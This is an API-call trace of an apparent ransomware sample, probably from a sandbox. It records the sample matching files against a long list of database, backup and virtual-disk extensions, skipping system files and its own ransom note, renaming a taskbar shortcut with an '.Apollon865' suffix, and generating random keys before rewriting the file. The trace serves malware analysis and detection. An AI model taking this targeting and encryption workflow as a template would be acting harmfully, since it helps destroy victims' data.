	[0054.182] lstrlenW (lpString="eco") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0054.183] lstrlenW (lpString="ecx") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0054.183] lstrlenW (lpString="edb") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0054.183] lstrlenW (lpString="epim") returned 4
	[0054.183] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0054.183] lstrlenW (lpString="fcd") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0054.183] lstrlenW (lpString="fdb") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0054.183] lstrlenW (lpString="fic") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0054.183] lstrlenW (lpString="flexolibrary") returned 12
	[0054.183] lstrcmpiW (lpString1="Explorer.lnk", lpString2="flexolibrary") returned -1
	[0054.183] lstrlenW (lpString="fm5") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0054.183] lstrlenW (lpString="fmp") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0054.183] lstrlenW (lpString="fmp12") returned 5
	[0054.183] lstrcmpiW (lpString1="r.lnk", lpString2="fmp12") returned 1
	[0054.183] lstrlenW (lpString="fmpsl") returned 5
	[0054.183] lstrcmpiW (lpString1="r.lnk", lpString2="fmpsl") returned 1
	[0054.183] lstrlenW (lpString="fol") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0054.183] lstrlenW (lpString="fp3") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0054.183] lstrlenW (lpString="fp4") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0054.183] lstrlenW (lpString="fp5") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0054.183] lstrlenW (lpString="fp7") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0054.183] lstrlenW (lpString="fpt") returned 3
	[0054.183] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0054.184] lstrlenW (lpString="frm") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0054.184] lstrlenW (lpString="gdb") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0054.184] lstrlenW (lpString="gdb") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0054.184] lstrlenW (lpString="grdb") returned 4
	[0054.184] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0054.184] lstrlenW (lpString="gwi") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0054.184] lstrlenW (lpString="hdb") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0054.184] lstrlenW (lpString="his") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0054.184] lstrlenW (lpString="ib") returned 2
	[0054.184] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0054.184] lstrlenW (lpString="idb") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0054.184] lstrlenW (lpString="ihx") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0054.184] lstrlenW (lpString="itdb") returned 4
	[0054.184] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0054.184] lstrlenW (lpString="itw") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0054.184] lstrlenW (lpString="jet") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0054.184] lstrlenW (lpString="jtx") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0054.184] lstrlenW (lpString="kdb") returned 3
	[0054.184] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0054.184] lstrlenW (lpString="kexi") returned 4
	[0054.184] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0054.184] lstrlenW (lpString="kexic") returned 5
	[0054.184] lstrcmpiW (lpString1="r.lnk", lpString2="kexic") returned 1
	[0054.185] lstrlenW (lpString="kexis") returned 5
	[0054.185] lstrcmpiW (lpString1="r.lnk", lpString2="kexis") returned 1
	[0054.185] lstrlenW (lpString="lgc") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0054.185] lstrlenW (lpString="lwx") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0054.185] lstrlenW (lpString="maf") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0054.185] lstrlenW (lpString="maq") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0054.185] lstrlenW (lpString="mar") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0054.185] lstrlenW (lpString="marshal") returned 7
	[0054.185] lstrcmpiW (lpString1="rer.lnk", lpString2="marshal") returned 1
	[0054.185] lstrlenW (lpString="mas") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0054.185] lstrlenW (lpString="mav") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0054.185] lstrlenW (lpString="maw") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0054.185] lstrlenW (lpString="mdbhtml") returned 7
	[0054.185] lstrcmpiW (lpString1="rer.lnk", lpString2="mdbhtml") returned 1
	[0054.185] lstrlenW (lpString="mdn") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0054.185] lstrlenW (lpString="mdt") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0054.185] lstrlenW (lpString="mfd") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0054.185] lstrlenW (lpString="mpd") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0054.185] lstrlenW (lpString="mrg") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0054.185] lstrlenW (lpString="mud") returned 3
	[0054.185] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0054.186] lstrlenW (lpString="mwb") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0054.186] lstrlenW (lpString="myd") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0054.186] lstrlenW (lpString="ndf") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0054.186] lstrlenW (lpString="nnt") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0054.186] lstrlenW (lpString="nrmlib") returned 6
	[0054.186] lstrcmpiW (lpString1="er.lnk", lpString2="nrmlib") returned -1
	[0054.186] lstrlenW (lpString="ns2") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0054.186] lstrlenW (lpString="ns3") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0054.186] lstrlenW (lpString="ns4") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0054.186] lstrlenW (lpString="nsf") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0054.186] lstrlenW (lpString="nv") returned 2
	[0054.186] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0054.186] lstrlenW (lpString="nv2") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0054.186] lstrlenW (lpString="nwdb") returned 4
	[0054.186] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0054.186] lstrlenW (lpString="nyf") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0054.186] lstrlenW (lpString="odb") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0054.186] lstrlenW (lpString="odb") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0054.186] lstrlenW (lpString="oqy") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0054.186] lstrlenW (lpString="ora") returned 3
	[0054.186] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0054.187] lstrlenW (lpString="orx") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0054.187] lstrlenW (lpString="owc") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0054.187] lstrlenW (lpString="p96") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0054.187] lstrlenW (lpString="p97") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0054.187] lstrlenW (lpString="pan") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0054.187] lstrlenW (lpString="pdb") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0054.187] lstrlenW (lpString="pdm") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0054.187] lstrlenW (lpString="pnz") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0054.187] lstrlenW (lpString="qry") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0054.187] lstrlenW (lpString="qvd") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0054.187] lstrlenW (lpString="rbf") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0054.187] lstrlenW (lpString="rctd") returned 4
	[0054.187] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0054.187] lstrlenW (lpString="rod") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0054.187] lstrlenW (lpString="rodx") returned 4
	[0054.187] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0054.187] lstrlenW (lpString="rpd") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0054.187] lstrlenW (lpString="rsd") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0054.187] lstrlenW (lpString="sas7bdat") returned 8
	[0054.187] lstrcmpiW (lpString1="orer.lnk", lpString2="sas7bdat") returned -1
	[0054.187] lstrlenW (lpString="sbf") returned 3
	[0054.187] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0054.188] lstrlenW (lpString="scx") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0054.188] lstrlenW (lpString="sdb") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0054.188] lstrlenW (lpString="sdc") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0054.188] lstrlenW (lpString="sdf") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0054.188] lstrlenW (lpString="sis") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0054.188] lstrlenW (lpString="spq") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0054.188] lstrlenW (lpString="te") returned 2
	[0054.188] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0054.188] lstrlenW (lpString="teacher") returned 7
	[0054.188] lstrcmpiW (lpString1="rer.lnk", lpString2="teacher") returned -1
	[0054.188] lstrlenW (lpString="tmd") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0054.188] lstrlenW (lpString="tps") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0054.188] lstrlenW (lpString="trc") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0054.188] lstrlenW (lpString="trc") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0054.188] lstrlenW (lpString="trm") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0054.188] lstrlenW (lpString="udb") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0054.188] lstrlenW (lpString="udl") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0054.188] lstrlenW (lpString="usr") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0054.188] lstrlenW (lpString="v12") returned 3
	[0054.188] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0054.189] lstrlenW (lpString="vis") returned 3
	[0054.189] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0054.189] lstrlenW (lpString="vpd") returned 3
	[0054.189] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0054.189] lstrlenW (lpString="vvv") returned 3
	[0054.189] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0054.189] lstrlenW (lpString="wdb") returned 3
	[0054.189] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0054.189] lstrlenW (lpString="wmdb") returned 4
	[0054.189] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0054.189] lstrlenW (lpString="wrk") returned 3
	[0054.189] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0054.189] lstrlenW (lpString="xdb") returned 3
	[0054.189] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0054.189] lstrlenW (lpString="xld") returned 3
	[0054.189] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0054.189] lstrlenW (lpString="xmlff") returned 5
	[0054.189] lstrcmpiW (lpString1="r.lnk", lpString2="xmlff") returned -1
	[0054.189] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.Apollon865") returned 125
	[0054.189] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk.apollon865"), dwFlags=0x1) returned 1
	[0054.190] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0054.190] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1228) returned 1
	[0054.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.191] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0054.191] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.191] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.191] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d0, lpName=0x0) returned 0xc0
	[0054.193] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d0) returned 0x100000
	[0054.205] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0054.206] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.206] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.206] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.206] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.206] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.206] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.206] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.207] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.207] CloseHandle (hObject=0xc0) returned 1
	[0054.207] CloseHandle (hObject=0x15c) returned 1
	[0054.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.207] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.207] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="..") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="windows") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="bootmgr") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="temp") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="pagefile.sys") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="boot") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="ids.txt") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="ntuser.dat") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="perflogs") returned 1
	[0054.207] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="MSBuild") returned 1
	[0054.207] lstrlenW (lpString="Windows Media Player.lnk") returned 24
	[0054.207] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned 114
	[0054.207] lstrcpyW (in: lpString1=0x119e6c4, lpString2="Windows Media Player.lnk" | out: lpString1="Windows Media Player.lnk") returned="Windows Media Player.lnk"
	[0054.207] lstrlenW (lpString="Windows Media Player.lnk") returned 24
	[0054.208] lstrlenW (lpString="Apollon865") returned 10
	[0054.208] lstrcmpiW (lpString1="Player.lnk", lpString2="Apollon865") returned 1
	[0054.208] lstrlenW (lpString=".dll") returned 4
	[0054.208] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".dll") returned 1
	[0054.208] lstrlenW (lpString=".lnk") returned 4
	[0054.208] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".lnk") returned 1
	[0054.208] lstrlenW (lpString=".ini") returned 4
	[0054.208] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".ini") returned 1
	[0054.208] lstrlenW (lpString=".sys") returned 4
	[0054.208] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".sys") returned 1
	[0054.208] lstrlenW (lpString="Windows Media Player.lnk") returned 24
	[0054.208] lstrlenW (lpString="bak") returned 3
	[0054.208] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0054.208] lstrlenW (lpString="ba_") returned 3
	[0054.208] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0054.208] lstrlenW (lpString="dbb") returned 3
	[0054.208] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0054.208] lstrlenW (lpString="vmdk") returned 4
	[0054.208] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0054.208] lstrlenW (lpString="rar") returned 3
	[0054.208] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0054.208] lstrlenW (lpString="zip") returned 3
	[0054.208] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0054.208] lstrlenW (lpString="tgz") returned 3
	[0054.208] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0054.208] lstrlenW (lpString="vbox") returned 4
	[0054.208] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0054.208] lstrlenW (lpString="vdi") returned 3
	[0054.208] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0054.208] lstrlenW (lpString="vhd") returned 3
	[0054.208] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0054.208] lstrlenW (lpString="vhdx") returned 4
	[0054.208] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0054.208] lstrlenW (lpString="avhd") returned 4
	[0054.209] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0054.209] lstrlenW (lpString="db") returned 2
	[0054.209] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0054.209] lstrlenW (lpString="db2") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0054.209] lstrlenW (lpString="db3") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0054.209] lstrlenW (lpString="dbf") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0054.209] lstrlenW (lpString="mdf") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0054.209] lstrlenW (lpString="mdb") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0054.209] lstrlenW (lpString="sql") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0054.209] lstrlenW (lpString="sqlite") returned 6
	[0054.209] lstrcmpiW (lpString1="er.lnk", lpString2="sqlite") returned -1
	[0054.209] lstrlenW (lpString="sqlite3") returned 7
	[0054.209] lstrcmpiW (lpString1="yer.lnk", lpString2="sqlite3") returned 1
	[0054.209] lstrlenW (lpString="sqlitedb") returned 8
	[0054.209] lstrcmpiW (lpString1="ayer.lnk", lpString2="sqlitedb") returned -1
	[0054.209] lstrlenW (lpString="xml") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0054.209] lstrlenW (lpString="$er") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0054.209] lstrlenW (lpString="4dd") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0054.209] lstrlenW (lpString="4dl") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0054.209] lstrlenW (lpString="^^^") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0054.209] lstrlenW (lpString="abs") returned 3
	[0054.209] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0054.209] lstrlenW (lpString="abx") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0054.210] lstrlenW (lpString="accdb") returned 5
	[0054.210] lstrcmpiW (lpString1="r.lnk", lpString2="accdb") returned 1
	[0054.210] lstrlenW (lpString="accdc") returned 5
	[0054.210] lstrcmpiW (lpString1="r.lnk", lpString2="accdc") returned 1
	[0054.210] lstrlenW (lpString="accde") returned 5
	[0054.210] lstrcmpiW (lpString1="r.lnk", lpString2="accde") returned 1
	[0054.210] lstrlenW (lpString="accdr") returned 5
	[0054.210] lstrcmpiW (lpString1="r.lnk", lpString2="accdr") returned 1
	[0054.210] lstrlenW (lpString="accdt") returned 5
	[0054.210] lstrcmpiW (lpString1="r.lnk", lpString2="accdt") returned 1
	[0054.210] lstrlenW (lpString="accdw") returned 5
	[0054.210] lstrcmpiW (lpString1="r.lnk", lpString2="accdw") returned 1
	[0054.210] lstrlenW (lpString="accft") returned 5
	[0054.210] lstrcmpiW (lpString1="r.lnk", lpString2="accft") returned 1
	[0054.210] lstrlenW (lpString="adb") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0054.210] lstrlenW (lpString="adb") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0054.210] lstrlenW (lpString="ade") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0054.210] lstrlenW (lpString="adf") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0054.210] lstrlenW (lpString="adn") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0054.210] lstrlenW (lpString="adp") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0054.210] lstrlenW (lpString="alf") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0054.210] lstrlenW (lpString="ask") returned 3
	[0054.210] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0054.210] lstrlenW (lpString="btr") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0054.211] lstrlenW (lpString="cat") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0054.211] lstrlenW (lpString="cdb") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0054.211] lstrlenW (lpString="ckp") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0054.211] lstrlenW (lpString="cma") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0054.211] lstrlenW (lpString="cpd") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0054.211] lstrlenW (lpString="dacpac") returned 6
	[0054.211] lstrcmpiW (lpString1="er.lnk", lpString2="dacpac") returned 1
	[0054.211] lstrlenW (lpString="dad") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
